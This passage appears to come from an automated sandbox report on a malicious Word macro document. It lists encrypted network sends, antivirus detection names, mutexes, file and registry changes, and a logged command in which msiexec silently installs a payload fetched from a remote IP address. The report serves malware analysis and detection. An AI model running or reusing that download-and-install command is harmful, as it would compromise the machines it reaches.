6p\\xe6\\x969\\xd2ibn5.l6\\xa1o\\xdb\\x0f\\xd7\\x14s\\xe2\\xb1\r\\xf2\\xdbv\\x12g\\xb3\r\rk8\\x16g\\xa7\\x0e\\x97\\x9c\\xcd\\x0ec\\xad\\x0e\\xd4\\x87\\xa9\\xdbp\\xb2\\x02u\\x94\\xb7\\xc6\\xe2\\x9d\\xcc\\xc5k\\x95\\x15rns\\xdb\\x85g<\\xc1c\\xe8\\xd2\\xfe\\xa7\\x8fl\\xa9\\xac\\xaf0\\xff\\x9c\\x88v\\xf3\\xb7\\x89v\\x83\\x82\\xb9<\\x7f\\xcc@\\x13a\\x14\\xb6\\xd94\\xf6\\xd8\\xa5\\xc0\\xe6\\xdf\\xf2cv\\x10y\\x18v\\x97\\x02i\\x84\\x11\\x08\\xf8q,\\xff\\xfbo\\xe1\\x84\\xc3>\\xe8_]\\xf8\\xf8_\\x92\\x8de'\\x92\\x95\\xf3\\xf0oe\\xad\\xc6\\xccn\\x9di\\x7f\\x06\\xd3\\xbff\\xa3a^\\x12\\xa1\\x10]j\\xb4\\xec|\\x1ev\\xc56g\\xee\\xcb\\xb8\\x97`\\xcb\\xae|o\\x88\\xa6\\xb8c\\xd1\\x88\\xddjda\\xce4\\xa6\\x86\\\\x88\\xea\\xe8\\xa5qcl\\xce"
  465. },
  466. {
  467. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x19\\xdct\\xdb\\x8d\\xf1\\xfb\\xa5\\xb7w\\xad\\xfd\\xb2\\xa5\\xdf7\\xb4\\xc1\\xbfb\\r+\\x93\\x85\\xf3\\xe7\rvo\\x9f$y0\\x1b\\xa8\\x1b\\xde\\xda\\xbb\\xce\\xcc/\\x07\\x8d\\x85m\\xfc$l\\x86\\x87\\x8e\\xf0\\xa5\\g\\x10ui\\x16b\\xf5z>\\xb7\\xc2\\xf3\\x86ihj\\xfe\\xc3\\xcd\\x97\\xc4\\xa1\\xd9\\xe6/\\xb06\\x84\\x86l\\x95\\x87\\xb8\\xfe\\x1a\\x13`\\xe9\\xe1`*\\x1c?ha\\xe1\\x9b<\\x18\\x9fom\\xae\\x0c\\xc3\\xb1\\x8f\\x16\t\\xba\\xf6\\xed?\\x91\\xc1\\xe3\\xef\\x00@\\xd8u\\x96%u\\xa9\\xb6\\xbf[\\x9b\\xd8\\xe1\\x08\\xfdg4\\xb4\\x1f\\xfa\\x02@nnj\\x12o\\x9b(\\x12\\x85\\x9ba\\x9dbs}*\\xd5\\x0e?3c\\xfb\\xa4)\\x17l+\\x0b\\xa0\\xc44<#s\\xbe\\xb1\\x99\\x18l\\xa9\\x80n\\x85n\\xf9#\\x15\\x03\\x9c(\\xbb\\xbbf\\xe7&;\\xa8\\xd1j\"\\xf9r\\xdfms=\n9)w^\\xb4\\xad\\x86\\xe8v\\xaaa\\xfe\\x9a\\x1b\r\\xd9\\x05p\\x89.\\x9f,\\xb4k\\xae\\x841\\x90\\xd5\\xbd\\xca\\xce#\\xfb\\x04b\\x1bf"
  468. },
  469. {
  470. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010[\\xec\\xcec}\\xd5q~hl~\\x9a\\x1a\\x05uu#\\xf5\\xe4fx:{d\\xd9\\xa8\\x16\\xea%\\x12g\\x9bn>xs\\x8c\\x07\\xbb.\\xd0\\xab\\x1d\\xd1\\x8f\\xe0p\\xdd\\x18\\xb6a\\xa4t\\xc3\\x9c\\xea\\x1e\\x13y;|z)ot^&$\\xfcq0,\\x0b\\x9b\\x93v\\x17\\x02\\x8e\\xe1\\x86\\x99\tw;\\xcbb\\xa4\\xf8|\\x1f\\x1e\\xa3l\\x0e\\xect%\\x04\\xed\\xdc\\xfc\\xc9\\x074k!&\\xe9f\\x91\\xe5$\\xfd.\\x10_,\\x99w$\\xd9 e\\xb6\\xb7>r\\xc5\\xda\\xaa\\xb9\\xc7\\x87\\x1c\\x8a\\xf9\r\\xe5\\x07\\x90x\\x9c\\xa0|y\\x08c\\xb9cf\\xda\\xf8\\xfb%\\x05\\xda\\xdbg.\\xe6\\xd8g\\x80d9\\xfb\\xaeo!\\x03\\x96\\x8ctk\\xa2\\x1f\\x80w\\xf8r\\xf3g\\xe6bh\\x8b\\xb8\\xa7\\xa4l\\xdf~\\x11\\x8c\t\n\\xd0\\x1c\\x160b\\xbb\\x98\\xb3_f~h\\x03\\xeb\\xcb\\xe0v\\xef;\\xe3uw]\\xb6\\xc3\\x87j\\x11\\xb8&\\xa4\\xfd\\x92\\x8a\\xcd\\x15\\xab+)\\xf99\\xec3\\xfc\\xc3\\xdef\\xc6\\xeb\\x81\\x13\\xb0\\x89q"
  471. },
  472. {
  473. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x84\\x8f\\xd5`/\\x9d\\x1d\\xfd\\xfd\\x9ce\\x17\\xc7;}u\\xfbmm$b*k\\xe6a\\xdd\\x8d\\x81\\x98\\x1f\\x8cy\\xa8\\xfb\\xdb8f<\\xc5\\x8c\\xdb0r\\xcf\\x97z\\xa1\\xbbg\\xb2bk\\x9d\\x92_:yn(\\xcbb?<\\x91\\xa5x~\\x12\\xf7\\x04\\xe5\\xe5a/:/\\xb9w\r\\xfb\\x1a,k]\\xc3\\xebf\\x03\\xed\\x9c\\xb6\\xeb\\xbawsq\r\\x1f\t\\xef\\xfe\\xbd\\x98\\xc6\\xe7ji+\\xbah\\xf5\\xe0\\xc9\\xd5\\x9ek\\x1b\\xd0\\xbb&\\xcfn\\xcb+\\xbf\\x13h\\xf9\\xab\\x04(\\x15\\x82 n\\xb0\t\r\\x98yv\\x81\\xcbt\\x91\\x89q\\x075\\xed\\x10\\xd2\\x8a\\xe7<\\x10 \\xf7\\xdd\\xd4\\xb3\\$\\xd2\\x9f[\\xcd8\\xc5\\xb9\\xb7\\x84b&\\x1b,\\x9c\\xd7o\\x83\\x19\\x0e0g\\xc67\\xfa\\x03\\x97\\xcbl\\xc6\\xad\\xb5\\xa0\\xd4\\xe6\\xf5r\\x81\\x016\\xb4l\\x93\\xe2\\x04\\xcfh1\\xd3\\x92l_yj\\xf6\\xa2\\xd6q\\x13\\xa2\\xeac\\xe1,/\\xeaz9\r=\\xbe\\xc1m\\x80\\xd1o1\\x96\\xf6\\xbd\\xa4j\\x95k0r_p\\x1d"
  474. },
  475. {
  476. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010r~\\xa1\\x9c\\xcebv\\x08\\xd6\\xa4p\\xdb\\xc8\\x84c\\xbb\\xa2\\x8c\\xa3d\\x97\\x99\\xab\\\\xb4\\x19\\xa8/\\xf6u|\\x00\\xe2\\xf3c\\xce\\xcbi\\x9a\\xdd\\xc2\\xeajt\\x1f\\xe9\\x19\\xce\\xbd\\xa0n\\xb1\\xa0\\xb9\\xa0\\xd8t\\xa2\\x8e/\\xc6o\\xb7m\\x1b\\xd51\\x9dy\\xf3/\\x94\\xaa\\xaf\\xe3\\xced\\x1f]\\xd94'\\xf6\\xb8\\x1bw\\xb8y\\x11\\x1a\\x7f\\xf48\\xf2=\\x9c\\x12x.ht\\x12\\x04\\xf5*\\xc2y\\x0f\\xee?v\\xcf\\x82p\\x13\\xaf\\xaf\\xa4\\x97\\xd4l\\xc4iu5*!ys\na^\\x97\\x11\\x1e\\xe3\t\\xb0\\xd1\\x1d\\xa8%\\xe2\\xb5\\x93\\x98=\\x92j\\xfa\\xf4ea\\xc4\\x82\\xab4\\xbd\\x91\\xe7b\\x8f\\xe1xuc\\xbfm\\xa5d,w\\xeex[\\x99\\xe1\\xed\\xfc\\xde\\xa5\\xe7\\xd6\\x981ixf\\xe2^\\xa2k\\xf7\\xf1\\x17\\xad\\xc8\\xb9;\\x14\\x96\\xae\\xff3\\xa9\\xd3tz\\x08jc\\xc28sv\\x92\\x1bg\\xb6\\xef!\\x94a\\xaf\\xbf\\xf6\\x0e\\xa9s\\xb9\\xcf\\xe2*jy\\x94.\\xfa\\xea\\xec\\xa1\\x1f\\x86\\x8c\\x15$\\xd6\\x84\\x07\\x7f\\xc7"
  477. },
  478. {
  479. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc1\\x13\\xe7k\\xd3-\\xb2\\x83fm\\xb4len\\xd6?\\x9b\\xd4\\xd0n\\xbey!py;\\xe4\\x85b\\x1dif\\x03\\x9a-l\\x07\\xdd\\xbd\\x03\\x90\\x84(\\x87\\x87\\xf7\\xc65\\x889!\\xb9t0\\x9an\\xb4;\\xd5o44\\xa2\\xce%\\x92l\\xa2\\x1d\\xf0e4\\xdf\\x84\\x93&\\xfa\\xca\\x14\\x05s\\x03s\\xba\\xd6\\xcew\\xb7\\xa1\\x97\\xaa#\"\\x03\\xe8\\xda\\x8c\\x13\\xd6\\xc5\\xfb\\x08\\x19\\x81\\x19\\x05\\xb1\\xc9\\x83\\xfbc<?\\xff\\x85\\xec\\xf7\\x1d\\x97\\x0c\\x84\\x00+bw)o\\xd8\\x04\\xe4c\\x89v<d`|\\xb7\\x94\\x0e\\a\\xde\\xc5\\xf2\\xf9\\xf4\\xe1 \\xe5\\xae\\x85\\xb7\\xf3\\xa9\\x84#:\\x9av7\\x01-\\x86hr(\\x0em\\x82z\\xeb\"\\xbc\\x97\\xa5xf\\x00\\xe2\\xed\\xc8\\xdc\\x98\\x04\\xf6\\xd3'\\x02\\xb1\\x85\\x92\\x15\"\\x1f*\\x11\\x1c\\xb0\\xbcp]\\x94\\x0bm\\x1dl\\xfb\\xe8\\x99\\xd7\\xd9\\x8c\\xed`\\xa5aq\\xd9\\xe9i<\\xbf)\\xbe\\x1atd\\xd3'?\\x8d\\x8cq\\xf8\\x92\\x94\\xdc'n\\x85\\xc2\\x13\\xb1\\xceo\\x1f\\xbe\\xe9gf"
  480. }
  481. ]
  482. },
  483. {
  484. "Description": "Creates a hidden or system file",
  485. "Details": [
  486. {
  487. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_5f3c9e99_BAD.doc"
  488. }
  489. ]
  490. },
  491. {
  492. "Description": "File has been identified by 21 Antiviruses on VirusTotal as malicious",
  493. "Details": [
  494. {
  495. "CAT-QuickHeal": "W97M.Downloader.Agent.3429"
  496. },
  497. {
  498. "Arcabit": "HEUR.VBA.Trojan.e"
  499. },
  500. {
  501. "Cyren": "Trojan.NDIF-3"
  502. },
  503. {
  504. "Symantec": "ISB.Downloader!gen87"
  505. },
  506. {
  507. "ESET-NOD32": "a variant of Generik.LOYZHRH"
  508. },
  509. {
  510. "TrendMicro-HouseCall": "Trojan.W97M.FLAWEDAMMY.AA"
  511. },
  512. {
  513. "Kaspersky": "HEUR:Trojan-Dropper.MSOffice.SDrop.gen"
  514. },
  515. {
  516. "NANO-Antivirus": "Trojan.Ole2.Vbs-heuristic.druvzi"
  517. },
  518. {
  519. "Emsisoft": "Trojan-Dropper.Macro (A)"
  520. },
  521. {
  522. "DrWeb": "Trojan.DownLoader28.53560"
  523. },
  524. {
  525. "TrendMicro": "Trojan.W97M.FLAWEDAMMY.AA"
  526. },
  527. {
  528. "McAfee-GW-Edition": "BehavesLike.Downloader.ng"
  529. },
  530. {
  531. "Ikarus": "Trojan.SuspectCRC"
  532. },
  533. {
  534. "F-Prot": "W97M/Downldr.gen"
  535. },
  536. {
  537. "Microsoft": "Trojan:Script/Foretype.A!ml"
  538. },
  539. {
  540. "Endgame": "malicious (high confidence)"
  541. },
  542. {
  543. "AegisLab": "Trojan.MSWord.Generic.4!c"
  544. },
  545. {
  546. "ZoneAlarm": "HEUR:Trojan-Dropper.MSOffice.SDrop.gen"
  547. },
  548. {
  549. "TACHYON": "Suspicious/W97M.Downloader.Gen"
  550. },
  551. {
  552. "Zoner": "Probably W97Shell"
  553. },
  554. {
  555. "SentinelOne": "DFI - Malicious OLE"
  556. }
  557. ]
  558. },
  559. {
  560. "Description": "Martian Subprocess Started By Office Process",
  561. "Details": [
  562. {
  563. "office_martian": "c:\\windows\\syswow64\\msiexec.exe"
  564. }
  565. ]
  566. },
  567. {
  568. "Description": "The office file has a macro.",
  569. "Details": [
  570. {
  571. "content": "The file appears to have no content."
  572. },
  573. {
  574. "malicious_author": "The file appears to have been created by a known fake author indicative of an automated document creation kit."
  575. },
  576. {
  577. "numerical_last_saved": "The file was last saved by a numerical author rather than a word/name indicative of an automated document creation kit."
  578. }
  579. ]
  580. },
  581. {
  582. "Description": "The office file created a suspicious child process.",
  583. "Details": [
  584. {
  585. "Processes": "WINWORD.EXE -> msiexec.exe"
  586. }
  587. ]
  588. }
  589. ]
  590.  
  591. [*] Started Service: [
  592. "osppsvc"
  593. ]
  594.  
  595. [*] Executed Commands: [
  596. "msiexec /q step1=commonl step2=files /i http://185.140.248.17/ltm1"
  597. ]
  598.  
  599. [*] Mutexes: [
  600. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  601. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  602. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  603. "CicLoadWinStaWinSta0",
  604. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  605. "Global\\_MSIExecute"
  606. ]
  607.  
  608. [*] Modified Files: [
  609. "C:\\Users\\user\\AppData\\Local\\Temp\\Docs_5f3c9e99_BAD.doc",
  610. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF9724D28ACB8EDB82.TMP",
  611. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_5f3c9e99_BAD.doc",
  612. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{1C31FD18-3DBB-4438-8EF6-3A3D9CC4D102}.tmp",
  613. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{F1FAAF36-2650-484A-84C9-142FAA5CD95E}.tmp",
  614. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF0A8D83E29DA0747B.TMP",
  615. "C:\\Users\\user\\AppData\\Local\\Temp\\VBE\\MSForms.exd",
  616. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  617. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  618. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\82CB34DD3343FE727DF8890D352E0D8F",
  619. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\82CB34DD3343FE727DF8890D352E0D8F",
  620. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  621. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  622. "C:\\Users\\user\\AppData\\Local\\Temp\\CabC061.tmp",
  623. "C:\\Users\\user\\AppData\\Local\\Temp\\TarC062.tmp",
  624. "C:\\Users\\user\\Application Data\\Microsoft\\Forms\\WINWORD.box",
  625. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF4A41B47D8A40B8B8.TMP",
  626. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF452D8DA243F818A1.TMP",
  627. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  628. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDDED.tmp",
  629. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDDFE.tmp",
  630. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDDFF.tmp",
  631. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDE00.tmp",
  632. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDE10.tmp",
  633. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2FAC.tmp",
  634. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2FBE.tmp",
  635. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2FC0.tmp",
  636. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2FBF.tmp",
  637. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2FAD.tmp",
  638. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3020.tmp",
  639. "C:\\Users\\user\\AppData\\Local\\Temp\\cab300F.tmp",
  640. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3021.tmp",
  641. "C:\\Users\\user\\AppData\\Local\\Temp\\cab301F.tmp",
  642. "C:\\Users\\user\\AppData\\Local\\Temp\\cab317A.tmp",
  643. "C:\\Users\\user\\AppData\\Local\\Temp\\cab31C9.tmp",
  644. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3228.tmp"
  645. ]
  646.  
  647. [*] Deleted Files: [
  648. "C:\\Users\\user\\AppData\\Local\\Temp\\CabC061.tmp",
  649. "C:\\Users\\user\\AppData\\Local\\Temp\\TarC062.tmp",
  650. "C:\\Users\\user\\Application Data\\Microsoft\\Forms\\WINWORD.box",
  651. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  652. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457444[[fn=Basis]].eftx"
  653. ]
  654.  
  655. [*] Modified Registry Keys: [
  656. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\lz}",
  657. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
  658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\152689A",
  664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\152689A\\152689A",
  665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  675. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  676. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  677. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  682. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  683. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  684. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  687. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  688. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  689. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  690. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  691. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  692. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  693. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  694. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  695. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  696. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  697. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  698. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  699. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  700. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  701. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  702. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  703. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  704. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  705. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  706. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  707. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  708. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  709. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  710. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  711. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  712. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  713. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  714. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  715. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  716. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  717. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  718. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  719. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  720. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  721. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  722. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  723. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  724. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  725. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
